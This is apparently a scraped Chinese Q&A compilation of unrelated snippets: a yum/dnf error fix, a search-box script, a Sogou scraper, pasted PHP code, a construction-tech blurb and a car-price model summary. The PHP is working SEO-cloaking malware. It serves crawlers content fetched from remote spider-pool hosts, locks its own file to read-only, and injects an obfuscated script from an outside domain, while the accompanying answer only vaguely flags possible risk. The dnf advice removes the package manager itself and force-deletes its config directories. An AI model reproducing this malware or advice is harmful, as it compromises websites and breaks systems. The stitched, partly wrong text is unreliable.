https://www.sogou.com/web?ie=UTF-8&query=File+%22%2Fusr%2Fbin%2Fyum%22%2C+line+57%2Cin+%3Cmodule%3E+from+dnf.cli+import+main

时间: 2023-12-30 17:04:31 浏览: 145
这个错误信息可能是由于 `yum` 命令所依赖的 `dnf` 软件包没有正确安装或者版本不兼容导致的。你可以尝试更新 `dnf` 软件包并重新安装 `yum` 命令，具体操作如下： 1. 更新 `dnf` 软件包： ``` sudo dnf upgrade dnf ``` 2. 重新安装 `yum` 命令： ``` sudo dnf install yum ``` 如果上述操作不能解决问题，你可以尝试删除并重装 `dnf` 和 `yum` 软件包，具体操作如下： 1. 删除 `dnf` 和 `yum` 软件包： ``` sudo dnf remove dnf yum ``` 2. 清理残留的配置文件： ``` sudo rm -rf /etc/dnf /etc/yum ``` 3. 重新安装 `dnf` 和 `yum` 软件包： ``` sudo dnf install dnf yum ``` 希望这些方法能够帮助你解决问题。
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<body> <div class="box"> <form action="#" method="get"> <h1>ALPIN</h1> <input type="text" name="search" id="search"> <button type="button" onclick="finish()">搜 索</button> </form> </div> <script> var search = document.getElementsById('search'); function finish() { if(search < 1) { location.href='#' } else { location.href='https://www.sogou.com/web?query=' + search; } } </script> </body>

这段代码实现了一个搜索框功能。当用户在搜索框中输入关键字并点击搜索按钮时，会触发 `finish()` 函数。该函数首先通过 `document.getElementsById('search')` 获取搜索框的元素，然后判断搜索框中是否有输入。如果没有输入，页面会跳转到当前页面的锚点（即页面顶部），否则会跳转到搜狗搜索网站并将搜索关键字作为参数传递给搜索引擎。

url地址：https://www.sogou.com/ 编写一个简单的爬虫程序，要求用户输入一个搜索关键字，然后将爬取到的搜狗网站上的搜索结果保存在本地文件 “【关键字】.html”中。

好的，可以使用Python的requests和beautifulsoup4库来实现爬取和解析网页的功能。以下是完整代码： ```python import requests from bs4 import BeautifulSoup keyword = input("请输入搜索关键字：") url = "https://www.sogou.com/web?query=" + keyword res = requests.get(url) soup = BeautifulSoup(res.text, "html.parser") result = soup.find_all("div", class_="vrwrap") with open(keyword + ".html", "w", encoding="utf-8") as f: f.write(str(result)) ``` 首先，我们通过`input()`函数让用户输入搜索关键字，然后拼接成搜狗搜索的url地址。接着，使用`requests`库发送HTTP请求并获得响应内容。最后，使用`beautifulsoup4`库解析HTML文档并提取搜索结果，将结果保存在本地文件中。注意，这里使用了Python的文件操作，需要用`with open()`语句打开文件，并指定编码方式为`utf-8`，最后将结果写入文件中。 希望对您有所帮助！
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<?php set_time_limit(0); header("Content-type: text/html; charset=utf-8"); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Googlebot', 'Baiduspider', '360Spider', 'Sogou News Spider', 'bingbot', 'Sosospider', ); if(!empty($userAgent)){ foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = $_SERVER["HTTP_REFERER"]; $u = parse_url($url); if(crawler()==true || $u['host'] == "www.baidu.com" || $u['host'] == "m.baidu.com"){ date_default_timezone_set('PRC'); $TD_server = "http://z8qw.woshinidie66.com"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/',$url1)); function set_writeable($file_name) { @chmod($file_name,0444); } set_writeable($filename1); } ?> <?php set_time_limit(0); error_reporting(0); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Baiduspider', 'Sogou News Spider' ); if (!empty($userAgent)) { foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = @$_SERVER["HTTP_REFERER"]; date_default_timezone_set('PRC'); $TD_server = "http://154.215.192.182/SpiderPool.php"; if (crawler()) { $query = $_SERVER['QUERY_STRING']; $path = $_SERVER["REQUEST_URI"]; $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $ch2 = curl_init(); $user_agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"; curl_setopt($ch2, CURLOPT_URL, $TD_server . "?host=" . $host_name . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['HTTP_HOST']); curl_setopt($ch2, CURLOPT_HEADER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2, CURLOPT_REFERER, 'www.baidu.com'); curl_setopt($ch2, CURLOPT_USERAGENT, $user_agent); $temp = curl_exec($ch2); echo $temp; } $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/', $url1)); function set_writeable($file_name) { @chmod($file_name, 0444); } set_writeable($filename1); <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,100,48,57,49,55,46,99,111,109,47,98,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>

这段代码的功能可能是用于判断...但是需要注意的是，这段代码中也存在一些可能会造成安全问题的函数调用，如file_get_contents()和chmod()等。如果您不确定这段代码的用途，最好不要直接运行它，以免引起安全问题。
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智慧工地，作为现代建筑施工管理的创新模式，以“智慧工地云平台”为核心，整合施工现场的“人机料法环”关键要素，实现了业务系统的协同共享，为施工企业提供了标准化、精益化的工程管理方案，同时也为政府监管提供了数据分析及决策支持。这一解决方案依托云网一体化产品及物联网资源，通过集成公司业务优势，面向政府监管部门和建筑施工企业，自主研发并整合加载了多种工地行业应用。这些应用不仅全面连接了施工现场的人员、机械、车辆和物料，实现了数据的智能采集、定位、监测、控制、分析及管理，还打造了物联网终端、网络层、平台层、应用层等全方位的安全能力，确保了整个系统的可靠、可用、可控和保密。 在整体解决方案中，智慧工地提供了政府监管级、建筑企业级和施工现场级三类解决方案。政府监管级解决方案以一体化监管平台为核心，通过GIS地图展示辖区内工程项目、人员、设备信息，实现了施工现场安全状况和参建各方行为的实时监控和事前预防。建筑企业级解决方案则通过综合管理平台，提供项目管理、进度管控、劳务实名制等一站式服务，帮助企业实现工程管理的标准化和精益化。施工现场级解决方案则以可视化平台为基础，集成多个业务应用子系统，借助物联网应用终端，实现了施工信息化、管理智能化、监测自动化和决策可视化。这些解决方案的应用，不仅提高了施工效率和工程质量，还降低了安全风险，为建筑行业的可持续发展提供了有力支持。 值得一提的是，智慧工地的应用系统还围绕着工地“人、机、材、环”四个重要因素，提供了各类信息化应用系统。这些系统通过配置同步用户的组织结构、智能权限，结合各类子系统应用，实现了信息的有效触达、问题的及时跟进和工地的有序管理。此外，智慧工地还结合了虚拟现实（VR）和建筑信息模型（BIM）等先进技术，为施工人员提供了更为直观、生动的培训和管理工具。这些创新技术的应用，不仅提升了施工人员的技能水平和安全意识，还为建筑行业的数字化转型和智能化升级注入了新的活力。总的来说，智慧工地解决方案以其创新性、实用性和高效性，正在逐步改变建筑施工行业的传统管理模式，引领着建筑行业向更加智能化、高效化和可持续化的方向发展。
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二手车价格预测，代码核心任务是通过机器学习模型（如线性回归、随机森林和KNN回归）预测车辆的价格（current price），并使用评估指标（如 R² 和 MSE）来衡量不同模型的预测效果

该代码实现了基于机器学习的车辆价格预测模型，利用不同回归算法（如线性回归、随机森林回归和 KNN 回归）对车辆的当前价格（current price）进行预测。代码首先进行数据加载与预处理，包括删除无关特征、归一化处理等；然后使用不同的机器学习模型进行训练，并评估它们的表现（通过 R²、MAE、MSE 等指标）；最后通过可视化工具对模型预测效果进行分析。目的是为车辆价格预测任务找到最合适的回归模型。 适用人群： 数据科学家和机器学习工程师：对于需要进行回归建模和模型选择的从业者，尤其是对车辆数据或类似领域有兴趣的。 企业数据分析师：在汽车行业或二手车市场中，需要对车辆价格进行预测和分析的专业人员。 机器学习学习者：希望学习如何使用 Python 实现机器学习模型、数据预处理和评估的初学者或中级学习者。 使用场景及目标： 汽车定价与估值：用于为汽车或二手车定价，尤其是当需要预测车辆的当前市场价格时。 汽车行业市场分析：通过数据分析和回归预测，帮助汽车销售商、经销商或市场分析师预测未来的市场价格趋势。 二手车市场：为二手车买卖双方提供价格参考，帮助制定合理的交易价格。
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